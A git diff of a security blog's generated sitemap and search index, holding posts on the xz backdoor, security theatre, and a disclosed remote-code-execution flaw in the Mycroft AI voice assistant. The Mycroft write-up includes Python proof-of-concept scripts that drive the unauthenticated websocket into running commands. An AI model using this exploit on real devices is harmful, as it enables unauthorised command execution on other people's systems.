diff --git a/en/sitemap.xml b/en/sitemap.xml index 992c3d6..5ef175e 100644 --- a/en/sitemap.xml +++ b/en/sitemap.xml @@ -1 +1 @@ -https://appsec.space/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/backdoor/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/cve-2024-3094/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/liblzma/2024-03-31T08:14:38+02:00weekly1https://appsec.space/posts/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/security-engineering/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/supply-chain/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/2024-03-31T08:14:38+02:00weekly1https://appsec.space/posts/xz-backdoor/2024-03-31T08:14:38+02:00weekly1https://appsec.space/tags/xz/2024-03-31T08:14:38+02:00weekly1https://appsec.space/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/blog-news/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/ai/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/code-review/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/mycroft-ai-rce/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/vocal-assistant/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/vulnerability-research/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/writeup/2024-03-30T22:00:02+01:00weekly1https://appsec.space/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file +https://appsec.space/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/backdoor/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/cve-2024-3094/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/liblzma/2024-03-31T08:15:51+02:00weekly1https://appsec.space/posts/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/security-engineering/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/supply-chain/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/2024-03-31T08:15:51+02:00weekly1https://appsec.space/posts/xz-backdoor/2024-03-31T08:15:51+02:00weekly1https://appsec.space/tags/xz/2024-03-31T08:15:51+02:00weekly1https://appsec.space/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/blog-news/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/ai/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/code-review/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/mycroft-ai-rce/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/vocal-assistant/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/vulnerability-research/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/writeup/2024-03-30T22:00:02+01:00weekly1https://appsec.space/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file diff --git a/index.json b/index.json index bbce141..35e3b97 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -[{"categories":null,"content":"As you probably already heard, the xz package got compromised. The package was used as entrypoint to inject malicious code in sshd, altering the authentication flow. This forged vulnerability is now known as CVE-2024-3094. Note The situation is still ongoing, more details will emerge in the near future and I will upgrade this post accordingly. This is probably a full fledge operation due to it’s methodology and duration but I’m not the right guy to talk about OpSec and Threat Actors attributions. As soon as I will find a complete analysis on that matter I will link it. The situation doesn’t look too good so I’m trying to write this blogpost as a summary. I don’t want to address the technical aspect of the compromission but I want to look at the issue from the perspective of a Security Engineer, summarizing what went wrong and trying to find a remediation. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:0:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#"},{"categories":null,"content":" 1 Timeline Note Check the Resources section for a link to an article with a detailed timeline Apr 2022: A new maintainer shows up in the xz project. 29 Mar 2024: Andres Freund sent an email to the oss-security security regarding a backdoor in xz/liblzma. He was optimizing his infrastructure and found that ssh was suspiciously slow. Some debug later he found the issue was likely caused by the backdoor. The initial analysis was performed with the help of Florian Weimer. The post was sent to the oss-security mailing list Impacted distros are starting to ship patches to downgrade the xz version (more on that later) 30 Mar 2024: GitHub blocked access to the repostiory and blocked the account of both the xz maintainers ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:1:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#timeline"},{"categories":null,"content":" 2 Impacted componentsThe extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz: Distributions: Arch Gentoo Manjaro Testing Parabola NixOS Unstable Slackware SUSE Thumbleweed Kali Linux The backdoored package is also contained in the following package managers: Homebrew MacPorts pkgsrc ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:2:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#impacted-components"},{"categories":null,"content":" 3 Considerations","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#considerations"},{"categories":null,"content":" 3.1 The GitHub BehaviorThe reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed. Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-github-behavior"},{"categories":null,"content":" 3.2 The downgradesThe patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version. Some (homebrew, for example), forced the downgrade to 5.4.6. This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years. The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-downgrades"},{"categories":null,"content":" 4 How to prevent this issue?As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below. One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong. Note TL;DR: there isn’t an actual solution ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#how-to-prevent-this-issue"},{"categories":null,"content":" 4.1 Trust issues xz is a software mainteined (up until 2022) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. This crashes against the fact that xz is an incredibly popular package available in a lot of distributions and being a dependency of many softwares. This was likely seen by the attacker as a gold mine since it was easy to get the role of maintainer of the project and push the malicious code. Since you are using a thirdy-part source for your supply chain, you have to trust someone at one point or another. When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc. But what can you do if all of a sudden, trusted maintainer goes rogue? As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing. On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe. One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities. The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users. Every time a discussion like that appears I always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software. But which factors could contribute on minimizing the risks? ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#trust-issues"},{"categories":null,"content":" 4.2 GitHub StatsJust to be clear from the beginning: No, you can’t trust this kind of metrics. There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#github-stats"},{"categories":null,"content":" 4.3 Community EngagementEvaluate the size and engagement of the community surrounding the project. A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:3","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#community-engagement"},{"categories":null,"content":" 4.4 Funding and SupportConsider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. And also are less likely to be completely abandoned. Tip Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:4","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#funding-and-support"},{"categories":null,"content":" 4.5 SDLCA good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval. Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:5","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#sdlc"},{"categories":null,"content":" 4.6 Enterprise vs IndividualThis is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increase the probablity, don’t take it for granted ;) ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:6","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#enterprise-vs-individual"},{"categories":null,"content":" 5 Resources OSS-Security List: https://www.openwall.com/lists/oss-security/2024/03/29/4 Comprehensive timeline: https://boehs.org/node/everything-i-know-about-the-xz-backdoor ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:5:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#resources"},{"categories":["general-knowledge"],"content":"I have seen many companies invest significant time and resources into security measures that have little to no actual effect on security. This is commonly referred to as “security theater”. ","date":"2023-02-13","objectID":"/posts/security-theatre/:0:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#"},{"categories":["general-knowledge"],"content":" 1 What is the Security TheatreSecurity theater refers to the practice of implementing security measures for the sake of appearances, without any significant impact on actual security. These measures may give the illusion of protection, but in reality, they provide little to no real security benefits. Organizations often fall into the trap of focusing solely on compliance requirements without considering their actual security needs. Compliance-driven security measures may give the illusion of being protected, but they often fail to address the specific security risks faced by an organization. Useless compliance can also result in organizations wasting valuable resources on implementing measures that do not have a significant impact on their security posture. This can lead to a situation where an organization is in compliance with regulations, but the security budget is depleted, while their assets are still vulnerable to attacks. Oh, how I love the smell of compliance in the morning. An example of Security Theatre is the use of complex passwords that are changed regularly. Although it may seem like a good idea, it can lead to password fatigue and employees using easier-to-remember passwords, which actually undermines security. This is among the reasons why companies like Microsoft, Apple, and Google are moving away from passwords. fix your password policy Another example of security theatre is implementing security controls that are not properly configured or maintained. For instance, firewalls, IDS and IPS are a common security measure that are often poorly configured or not kept up-to-date with the latest security patches ","date":"2023-02-13","objectID":"/posts/security-theatre/:1:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#what-is-the-security-theatre"},{"categories":["general-knowledge"],"content":" 2 Root causeCybersecurity has become the new gold rush, with numerous individuals and organizations seeking to take advantage of the potential financial gains. However, finding skilled personnel to address these security concerns can be challenging, and relying on consultants can lead to a situation where the organization becomes overly dependent on their expertise. ","date":"2023-02-13","objectID":"/posts/security-theatre/:2:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#root-cause"},{"categories":["general-knowledge"],"content":" 3 Wrapping upOrganizations can protect themselves from the constant security threats by taking a proactive approach. The first step is to gain a thorough understanding of the specific risks they are facing and then implement the necessary measures to mitigate these risks. This includes educating their employees to be aware of potential attacks and how to respond in such situations. In conclusion, to avoid being caught in the trap of “security theater”, organizations must concentrate on establishing practical security measures and regularly evaluate their effectiveness. Having a well-thought-out response plan in place is also critical in ensuring the protection of the organization’s assets. Additionally, organizations should cease creating redundant policies that serve no purpose in enhancing the organization’s overall security posture. Tip Here you can find an interesting article from Phil Venables, Google CISO, about Cerimonial Security and Cargo Cults ","date":"2023-02-13","objectID":"/posts/security-theatre/:3:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#wrapping-up"},{"categories":["blog-news"],"content":"Long time no see, uh? Lot of stuff happen since the last post in 2018 on the old blog. Unfortunately I wasn’t able to write much, both for the lack of time and the impossibility to share what I learned. This post contains an introduction to this new website and how it will work from now on. First of all, I’m still in Security but moved to Product Security (more on this on a later post but TL;DR: boredom, careeer and growth opportunities, frustration and fear of burnout). Fortunately I still have time and resources on my job to conduct vulnerability research so occasionally I will post about interesting vulnerabilities I found. I would also like to talk about security aspects more related to SDLC, so let’s see how it’ll go. ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:0:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#"},{"categories":["blog-news"],"content":" 1 How this blog worksThe setup is pretty simple, I’m using hugo to build static pages and publish them on GitHub pages. There is a Github Action running that builds and deploy the pages every time a PR is approved on the main branch. A graph represeting the logic flow behind the blog deployment system The theme used is LoveIt, it’s pretty cool and rich of features but has few bugs that need to be fixed; for example, if you are using the blog in Italian you can see that the localization is pretty much fucked up. The theme localization it’s a pretty cool feature but having to rewrite the same post for each language is painful, so I’m thinking about adding the support to DeepL. Last but not least, the blog got a new logo: appsec.space logo it was generated by Midjourney and means absolutely nothing! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:1:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#how-this-blog-works"},{"categories":["blog-news"],"content":" 2 The futureWhat’s next, you ask? Well.. a lot of stuff actually. First of all I need to migrate all the posts from the old blog because I would like to retain an archive. Next I can start writing new posts. Note If you get a redirect from the old blog to the new one the process has been completed. Despite being called appsec.space I would like to talk about different topics, spacing from Application Security to Malware Developmemnt (for learning purposes of course), to productivity setup and generic rants, basically turning this blog into my stream of counciousness. The next post will probably talk about the Security Theater. See you then! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:2:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#the-future"},{"categories":["vulnerability-research"],"content":" 1 IntroductionDuring my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It’s an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It’s also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar F-Type and Land Rover ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:1:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#introduction"},{"categories":["vulnerability-research"],"content":" 2 Digging in the source codeWhile looking at the source code I found an interesting point: here ... host = config.get(\"host\") port = config.get(\"port\") route = config.get(\"route\") validate_param(host, \"websocket.host\") validate_param(port, \"websocket.port\") validate_param(route, \"websocket.route\") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... it defines a websocket server that uses to get instructions from the remote clients (like the Android one). The settings for the websocket server are defined in mycroft.conf // The mycroft-core messagebus' websocket \"websocket\": { \"host\": \"0.0.0.0\", \"port\": 8181, \"route\": \"/core\", \"ssl\": false }, So there is a websocket server that doesn’t require authentication that by default is exposed on 0.0.0.0:8181/core. Let’s test it 😉 #!/usr/bin/env python import asyncio import websockets uri = \"ws://myserver:8181/core\" command = \"say pwned\" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+command+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? WRONG ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:2:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#digging-in-the-source-code"},{"categories":["vulnerability-research"],"content":" 3 The skills systemDigging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:3:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#the-skills-system"},{"categories":["vulnerability-research"],"content":" 4 What can I do now?I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#what-can-i-do-now"},{"categories":["vulnerability-research"],"content":" 4.1 So I’m done?Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better… ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:1","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#so-im-done"},{"categories":["vulnerability-research"],"content":" 5 Getting a remote shell using default skillsWe know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let’s try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = [\"mute audio\"] + sys.argv[1:] uri = \"ws://myserver:8181/core\" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+payload+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py \"install autogui\" \"open xterm\" \"type echo pwned\" \"press enter\" allowed me to finally get a command execution on a Linux machine. PoC ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:5:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#getting-a-remote-shell-using-default-skills"},{"categories":["vulnerability-research"],"content":" 6 Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:6:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#_notes_"},{"categories":["vulnerability-research"],"content":" 7 Affected devicesAll the devices running Mycroft \u003c= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:7:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#affected-devices"},{"categories":["vulnerability-research"],"content":" 8 Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\\_(ツ)_/¯ 09/06/2018 Public disclosure ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:8:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#timeline"},{"categories":null,"content":"My name is Francesco Giordano and I’m a Product Security Engineer with a background in vulnerability reasearch, malware development and offensive security in general. I also like to develop my own frameworks and tools, you can find my work and contributions on my GitHub. I used to run another blog, you can read more about that here ","date":"0001-01-01","objectID":"/about/:0:0","series":null,"tags":null,"title":"About Me","uri":"/about/#"}] \ No newline at end of file +[{"categories":null,"content":"As you probably already heard, the xz package got compromised. The package was used as entrypoint to inject malicious code in sshd, altering the authentication flow. This forged vulnerability is now known as CVE-2024-3094. Note The situation is still ongoing, more details will emerge in the near future and I will upgrade this post accordingly. This is probably a full fledge operation due to it’s methodology and duration but I’m not the right guy to talk about OpSec and Threat Actors attributions. As soon as I will find a complete analysis on that matter I will link it. The situation doesn’t look too good so I’m trying to write this blogpost as a summary. I don’t want to address the technical aspect of the compromission but I want to look at the issue from the perspective of a Security Engineer, summarizing what went wrong and trying to find a remediation. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:0:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#"},{"categories":null,"content":" 1 Timeline Note Check the Resources section for a link to an article with a detailed timeline Apr 2022: A new maintainer shows up in the xz project. 29 Mar 2024: Andres Freund sent an email to the oss-security security regarding a backdoor in xz/liblzma. He was optimizing his infrastructure and found that ssh was suspiciously slow. Some debug later he found the issue was likely caused by the backdoor. The initial analysis was performed with the help of Florian Weimer. The post was sent to the oss-security mailing list Impacted distros are starting to ship patches to downgrade the xz version (more on that later) 30 Mar 2024: GitHub blocked access to the repostiory and blocked the account of both the xz maintainers ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:1:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#timeline"},{"categories":null,"content":" 2 Impacted componentsThe extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz: Distributions: Arch Gentoo Manjaro Testing Parabola NixOS Unstable Slackware SUSE Thumbleweed Kali Linux The backdoored package is also contained in the following package managers: Homebrew MacPorts pkgsrc ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:2:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#impacted-components"},{"categories":null,"content":" 3 Considerations","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#considerations"},{"categories":null,"content":" 3.1 The GitHub BehaviorThe reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed. Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-github-behavior"},{"categories":null,"content":" 3.2 The downgradesThe patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version. Some (homebrew, for example), forced the downgrade to 5.4.6. This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years. The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-downgrades"},{"categories":null,"content":" 4 How to prevent this issue?As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below. One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong. Note TL;DR: there isn’t an actual solution ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#how-to-prevent-this-issue"},{"categories":null,"content":" 4.1 Trust issues xz is a software mainteined (up until 2022) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. This crashes against the fact that xz is an incredibly popular package available in a lot of distributions and being a dependency of many softwares. This was likely seen by the attacker as a gold mine since it was easy to get the role of maintainer of the project and push the malicious code. Since you are using a thirdy-part source for your supply chain, you have to trust someone at one point or another. When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc. But what can you do if all of a sudden, trusted maintainer goes rogue? As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing. On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe. One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities. The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users. Every time a discussion like that appears I 